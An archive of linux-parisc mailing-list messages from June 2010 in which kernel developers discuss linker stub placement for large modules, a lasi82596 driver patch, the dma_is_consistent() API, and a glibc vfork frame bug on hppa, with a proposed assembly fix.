> See ld --stub-group-size=N option.

I was assuming that was the default, like on arm, I take it it's not?

>   GCC assumes stub sections are at
> the beginning and that the linker can insert stubs between input sections.
> Merging text sections is likely to cause problems.

Well, the theory was that ld was capable of more intelligent section
layout decisions than the in-kernel linker.  If you're saying that's not
true, then there's probably not much point to doing this.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] fix the relative jump problem on large modules
Date: Sun, 20 Jun 2010 10:35:09 -0400
Organization: nrc.ca
Lines: 41
Approved: news@gmane.org
Message-ID: <20100620143508.GA27920@hiauly1.hia.nrc.ca>
References: <20100619232128.6010C5160@hiauly1.hia.nrc.ca> <1277042128.5242.2.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1277044515 1188 80.91.229.12 (20 Jun 2010 14:35:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 Jun 2010 14:35:15 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 20 16:35:14 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OQLc9-0007pD-Ll
	for glpp-linux-parisc@lo.gmane.org; Sun, 20 Jun 2010 16:35:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754757Ab0FTOfM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jun 2010 10:35:12 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3790 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753570Ab0FTOfL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jun 2010 10:35:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 17CA04FA3; Sun, 20 Jun 2010 10:35:09 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1277042128.5242.2.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2963
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2963>

On Sun, 20 Jun 2010, James Bottomley wrote:

> On Sat, 2010-06-19 at 19:21 -0400, John David Anglin wrote:
> > > The theory was that the linker should do the right thing and not emit a
> > > relocation that can't reach the boundary of the text segment (i.e. it
> > > should embed a stub between the sections as it combines them).  I'll
> > > have to fire up a 32 bit compile and see exactly what it thinks it's
> > > doing ... I've got a nasty feeling it expects us to be able to stub
> > > either at the beginning or the end, which the in-kernel loader doesn't.
> > 
> > See ld --stub-group-size=N option.
> 
> I was assuming that was the default, like on arm, I take it it's not?

The default N value stubs at the beginning or end.  A negative value
puts stubs before the input section.  There's a default value for N
which matches the value in gcc which came from hpux.

I believe that arm originally followed the parisc approach.  Possibly,
their current implementation should be looked at.

> >   GCC assumes stub sections are at
> > the beginning and that the linker can insert stubs between input sections.
> > Merging text sections is likely to cause problems.
> 
> Well, the theory was that ld was capable of more intelligent section
> layout decisions than the in-kernel linker.  If you're saying that's not
> true, then there's probably not much point to doing this.

I'm not sure it's more intelligent.  The code for generating stub groups
is quite old now.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Re: [PATCH] lasi82596: fix netdev_mc_count conversion
Date: Mon, 21 Jun 2010 13:50:50 -0700 (PDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <20100621.135050.48492866.davem@davemloft.net>
References: <20100619223524.GA6018@p100.box>
	<20100619224139.GA6158@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277153444 23518 80.91.229.12 (21 Jun 2010 20:50:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 Jun 2010 20:50:44 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, torvalds@linux-foundation.org,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca, jpirko@redhat.com,
	netdev@vger.kernel.org
To: deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 21 22:50:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OQnx1-0001Ej-QL
	for glpp-linux-parisc@lo.gmane.org; Mon, 21 Jun 2010 22:50:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758503Ab0FUUui (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Jun 2010 16:50:38 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:52331
	"EHLO sunset.davemloft.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758491Ab0FUUui (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Jun 2010 16:50:38 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 7229F24C112;
	Mon, 21 Jun 2010 13:50:50 -0700 (PDT)
In-Reply-To: <20100619224139.GA6158@p100.box>
X-Mailer: Mew version 6.3 on Emacs 23.1 / Mule 6.0 (HANACHIRUSATO)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2964 gmane.linux.kernel:1001454 gmane.linux.network:164401
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2964>

From: Helge Deller <deller@gmx.de>
Date: Sun, 20 Jun 2010 00:41:39 +0200

> Fix commit 4cd24eaf0 (net: use netdev_mc_count and netdev_mc_empty when
> appropriate)
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

Applied, please CC: netdev@vger.kernel.org when posting networking
patches in the future, thanks.

> CC: Linus Torvalds <torvalds@linux-foundation.org>
> CC: Kyle McMartin <kyle@mcmartin.ca>
> CC: "David S. Miller" <davem@davemloft.net>
> CC: Jiri Pirko <jpirko@redhat.com>
> 
> --- a/drivers/net/lib82596.c
> +++ b/drivers/net/lib82596.c
> @@ -1343,7 +1343,7 @@ static void set_multicast_list(struct net_device *dev)
>  	DEB(DEB_MULTI,
>  	    printk(KERN_DEBUG
>  		   "%s: set multicast list, %d entries, promisc %s, allmulti %s\n",
> -		   dev->name, dev->mc_count,
> +		   dev->name, netdev_mc_count(dev),
>  		   dev->flags & IFF_PROMISC ? "ON" : "OFF",
>  		   dev->flags & IFF_ALLMULTI ? "ON" : "OFF"));
>  
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Re: [PATCH] lasi82596: fix netdev_mc_count conversion
Date: Mon, 21 Jun 2010 17:33:09 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20100621213309.GB20317@bombadil.infradead.org>
References: <20100619223524.GA6018@p100.box> <20100619224139.GA6158@p100.box> <20100621.135050.48492866.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1277156004 9368 80.91.229.12 (21 Jun 2010 21:33:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 Jun 2010 21:33:24 +0000 (UTC)
Cc: deller@gmx.de, linux-kernel@vger.kernel.org,
	torvalds@linux-foundation.org, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, jpirko@redhat.com, netdev@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 21 23:33:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OQocF-0000k3-TX
	for glpp-linux-parisc@lo.gmane.org; Mon, 21 Jun 2010 23:33:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758626Ab0FUVdO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Jun 2010 17:33:14 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57064 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758444Ab0FUVdO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Jun 2010 17:33:14 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OQoc9-0003p2-Qs; Mon, 21 Jun 2010 21:33:09 +0000
Content-Disposition: inline
In-Reply-To: <20100621.135050.48492866.davem@davemloft.net>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2965 gmane.linux.kernel:1001471 gmane.linux.network:164409
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2965>

On Mon, Jun 21, 2010 at 01:50:50PM -0700, David Miller wrote:
> From: Helge Deller <deller@gmx.de>
> Date: Sun, 20 Jun 2010 00:41:39 +0200
> 
> > Fix commit 4cd24eaf0 (net: use netdev_mc_count and netdev_mc_empty when
> > appropriate)
> > 
> > Signed-off-by: Helge Deller <deller@gmx.de>
> 
> Applied, please CC: netdev@vger.kernel.org when posting networking
> patches in the future, thanks.
> 

Thanks for catching this, Dave.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Tue, 22 Jun 2010 15:30:08 +0900
Lines: 73
Approved: news@gmane.org
Message-ID: <20100622152823R.fujita.tomonori@lab.ntt.co.jp>
References: <20100617.073653.193708702.davem@davemloft.net>
	<20100617234520S.fujita.tomonori@lab.ntt.co.jp>
	<20100617153051.GB8964@linux-sh.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277188232 9929 80.91.229.12 (22 Jun 2010 06:30:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 06:30:32 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, davem@davemloft.net,
	mchan@broadcom.com, vapier@gentoo.org, JBottomley@novell.com,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: lethal@linux-sh.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 08:30:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OQx07-0006Ee-1L
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 08:30:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753129Ab0FVGa0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 02:30:26 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:56981 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752628Ab0FVGaZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 02:30:25 -0400
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id o5M6U8Ak029547;
	Tue, 22 Jun 2010 15:30:09 +0900
In-Reply-To: <20100617153051.GB8964@linux-sh.org>
Original-Lines: 68
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Tue, 22 Jun 2010 15:30:10 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.96.1 at sh
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2966 gmane.linux.network:164442 gmane.linux.kernel:1001604
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2966>

On Fri, 18 Jun 2010 00:30:51 +0900
Paul Mundt <lethal@linux-sh.org> wrote:

> On Thu, Jun 17, 2010 at 11:50:35PM +0900, FUJITA Tomonori wrote:
> > On Thu, 17 Jun 2010 07:36:53 -0700 (PDT)
> > David Miller <davem@davemloft.net> wrote:
> > 
> > > From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
> > > Date: Thu, 17 Jun 2010 21:21:13 +0900
> > > 
> > > > On Wed, 16 Jun 2010 23:24:44 -0700
> > > > "Michael Chan" <mchan@broadcom.com> wrote:
> > > > 
> > > >> David, why is dma_is_consistent() always returning 1 on sparc?  The
> > > >> streaming DMA is not consistent.
> > > > 
> > > > I think that there are some confusion about dma_is_consistent(). Some
> > > > architectures think that dma_is_consistent() is supposed to return 1
> > > > if they can allocate coherent memory (note that some architectures
> > > > can't allocate coherent memory).
> > > 
> > > Right, and that's why it's defined this way.
> > > 
> > > If the desired meaning is different, just me know and I'll fix the
> > > sparc definition.
> > 
> > I think that there are some other architectures do the same. We need
> > to make sure that all the architectures define dma_is_consistent() in
> > the same meaning if drivers need it. However, I'm not sure we really
> > need dma_is_consistent(). There is only one user of it (and I think we
> > could remove it).
> > 
> > In the bnx2 case, we can simply prefetch on all the archs (or just
> > remove the optimization).
> 
> I think its worthwhile keeping, especially since the consistency can vary
> on a per struct device level. If there's a benefit with these sorts of
> prefetch micro-optimizations in drivers when it doesn't cost us that much
> to provide the hint, I don't really see the harm. If dma_is_consistent()
> is suddenly supposed to take on other meanings, or it's supposed to mean
> something entirely different, then this is something we should deal with
> separately.
> 
> I don't see any harm in letting drivers know whether we can support
> consistent DMA allocs for a given struct device or not though, even if
> the micro-optimization is marginal at best.

I'm happier with exporting less DMA APIs to drivers because looks like
new original ways to use the APIs wrongly can be always invented.


> At least I've conditionalized the definition on SH, and it seems other
> archictures have done so too. It's not clear what we'd gain from throwing

>From a quick look, except for SH and POWERPC (and always-coherent
architectures), everyone does differently?

There are architectures that need to turn off the CPU cache for
coherent memory, I can't find none of them that see if an address is
coherent or not in dma_is_consistent().

As I wrote, there is only one user of this API and we can remove it
easily. Then I'm not sure it's worth fixing dma_is_consistent() in
many architectures. I prefer to add this to
feature-removal-schedule.txt to see if driver writers oppose.


> that away as long as they're generally in agreement on what it means.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 22 Jun 2010 11:17:44 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <AANLkTilfnhsd5mWmO_qJeCv0XmZ6IYKw6Il19No3_wnF@mail.gmail.com>
References: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
	<20100620042814.ECC205160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1277219875 31468 80.91.229.12 (22 Jun 2010 15:17:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 15:17:55 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 17:17:52 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OR5EV-0001io-Jf
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 17:17:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751052Ab0FVPRu convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 11:17:50 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:53120 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750736Ab0FVPRu convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 11:17:50 -0400
Original-Received: by wwc33 with SMTP id 33so178866wwc.19
        for <linux-parisc@vger.kernel.org>; Tue, 22 Jun 2010 08:17:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=ncJjs1LNBP/0VWkXz1pU48xuwBrWQvDzzm2yvY6kaTE=;
        b=WvQBw2Au/lmnIvOmzYWXgMm/0Wg9mTeHPx9Co5OvDgZQj4QdDPYD05v5Y7gfVgU+DM
         xoLRIMJ+39UPGRJW2TOcRGl0boE53nzqSwITLNLjEO270kB8LMk++qvTIC1Mdquxc4Ed
         Lj/1aKA/R5mX+ZYBKH3UnG6huzsaoeIwgFlF8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=H+xOJ4TKscXrvpxzXiccEqWvRflWoo2o/pOThU/7GiakmGUGbigMmTHmxpS8ptdVZT
         O6zpxMZ/ZWQegBBlaUOnRHi0ktpYXXL7SKsbJEy70H0ijNlgve3D4/yBGVljJGblo13W
         suE8VYlSF945wqJM3OcJj5wqLtG6673FVPxro=
Original-Received: by 10.216.90.133 with SMTP id e5mr1414811wef.77.1277219865373; Tue, 
	22 Jun 2010 08:17:45 -0700 (PDT)
Original-Received: by 10.216.22.149 with HTTP; Tue, 22 Jun 2010 08:17:44 -0700 (PDT)
In-Reply-To: <20100620042814.ECC205160@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: TZUrRW8QIErpDzWs7JDVnv5akM0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2967
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2967>

On Sun, Jun 20, 2010 at 12:28 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Carlos,
>
>> I have constructed a vfork test case which shows some of the problem=
s
>> I have using vfork reliably. This fails every time on my PA8700 syst=
em
>> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
>> being corrupted.
>
> It seems the vfork implementation has changed in 2.11.1 from
> using clone to the vfork syscall. =A0I tried to build gdb head
> today, but it dies at startup due to a problem with vfork. =A0This
> is potentially also an issue with gcc as it uses the same
> libiberty code.

On hppa calling vfork in a non-multithreaded environment does the follo=
wing:

vfork [vfork.c] ->
  __fork (__libc_fork) [nptl/fork.c, linux/fork.c] ->
    ARCH_FORK (clone syscall) []

On hppa in a multithreaded environment (linked against libpthread.so)
vfork does the following:

vfork ->
  vfork syscall (pt-vfork.S)

This has not changed in 2.11.1.

Could you please elaborate on the change that you believe occurred in 2=
=2E11.1?

> I filed a sourceware bug, but closed it when I realized that
> this is a glibc/kernel bug:
> http://sourceware.org/bugzilla/show_bug.cgi?id=3D11730
>
> After spending some time looking at this, I realized that __vfork
> is broken. =A0It should not allocate a frame as the child may clobber
> the parent's frame when it does a call, etc. =A0A frame should only
> be allocated and popped around the call to the syscall error handler.

Oh dear, yes I see. After the child returns from vfork, it calls exec,
clobbering the vfork frame that the parent must still unwind from. Is
that what you mean?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Tue, 22 Jun 2010 11:39:31 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <AANLkTinFBc9524WWuwrRvuBQGY0OCqjPIZ_t9A7esb-B@mail.gmail.com>
References: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
	<20100620042814.ECC205160@hiauly1.hia.nrc.ca>
	<AANLkTilfnhsd5mWmO_qJeCv0XmZ6IYKw6Il19No3_wnF@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1277221178 4381 80.91.229.12 (22 Jun 2010 15:39:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 22 Jun 2010 15:39:38 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 22 17:39:36 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OR5ZW-00055O-Fm
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Jun 2010 17:39:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753742Ab0FVPjd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jun 2010 11:39:33 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:49230 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751052Ab0FVPjd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jun 2010 11:39:33 -0400
Original-Received: by wyb33 with SMTP id 33so3272199wyb.19
        for <linux-parisc@vger.kernel.org>; Tue, 22 Jun 2010 08:39:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=orKaLGo9Qc++WWxcKcVodchybqm3sRSVN8ZWRRTZCjc=;
        b=AuCtfGBoXpmNwQaBz9uZuf+6+4XTJegDZ5hsbV2ZFUBqfCRT03A1ahkgyjPSoXSl+A
         LBEQRIrG3hXaIQ42wvb2Y94p05vnc1NGCM9mdrpRqXudTc90xkcatl4oURgaHaterNZ8
         voZmXEDfV/5Pcml4jJwfCopaJFXr1rBuIz/to=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=q/saKECWjPHr00ps3XDSNpewV5V8i+dTO+uBOTodtI0Vmgt5XlO+GSqrlZHhRu8Qq6
         tWeFxJt7mDeakcH0VTnNSXaRlSudZLgiZxG/TjvcQQJR15z6PxJ8pirCk8s8IxTmsWwQ
         PPezzecpVPZT4uGYks8QotNRF8zcQgXIyF/uk=
Original-Received: by 10.227.136.75 with SMTP id q11mr6202323wbt.26.1277221172154; Tue, 
	22 Jun 2010 08:39:32 -0700 (PDT)
Original-Received: by 10.216.22.149 with HTTP; Tue, 22 Jun 2010 08:39:31 -0700 (PDT)
In-Reply-To: <AANLkTilfnhsd5mWmO_qJeCv0XmZ6IYKw6Il19No3_wnF@mail.gmail.com>
X-Google-Sender-Auth: Qw4MaXRL3DulKqOBLilS3TODsXs
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2968
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2968>

On Tue, Jun 22, 2010 at 11:17 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> Oh dear, yes I see. After the child returns from vfork, it calls exec,
> clobbering the vfork frame that the parent must still unwind from. Is
> that what you mean?

Is this a complete fix?

diff --git a/sysdeps/unix/sysv/linux/hppa/nptl/pt-vfork.S
b/sysdeps/unix/sysv/linux/hppa/nptl/pt-vfork.S
index 83a70b7..3c685cb 100644
--- a/sysdeps/unix/sysv/linux/hppa/nptl/pt-vfork.S
+++ b/sysdeps/unix/sysv/linux/hppa/nptl/pt-vfork.S
@@ -50,10 +50,9 @@

        /* r26, r25, r24, r23 are free since vfork has no arguments */
 ENTRY(__vfork)
-       /* Prologue */
-       stwm    %r3, 64(%sp)
-       stw     %sp, -4(%sp)
-       stw     %r19, -32(%sp)
+       /* We must not create a frame, otherwise when the child unwinds
+          to call exec it will clobber the same frame that the parent
+          needs to unwind.  */

        /* Save the PIC register. */
 #ifdef PIC
@@ -76,11 +75,16 @@ ENTRY(__vfork)
        b,n     .Lerror

        /* Return, no need to restore the PIC register. */
-       ldw     -84(%sp), %rp
-       bv      %r0(%rp)
-       ldwm    -64(%sp), %r3
+       ldw     -20(%sp), %rp
+       bv,n    %r0(%rp)

 .Lerror:
+       /* Now we need a stack to record the error. We are assured
+          that there is no child now, so it's safe to create
+          a frame.  */
+       stwm    %r3, 64(%sp)
+       stw     %sp, -4(%sp)
+
        sub     %r0,%ret0,%r3
        SYSCALL_ERROR_HANDLER
        /* Restore the PIC register (in delay slot) on error */

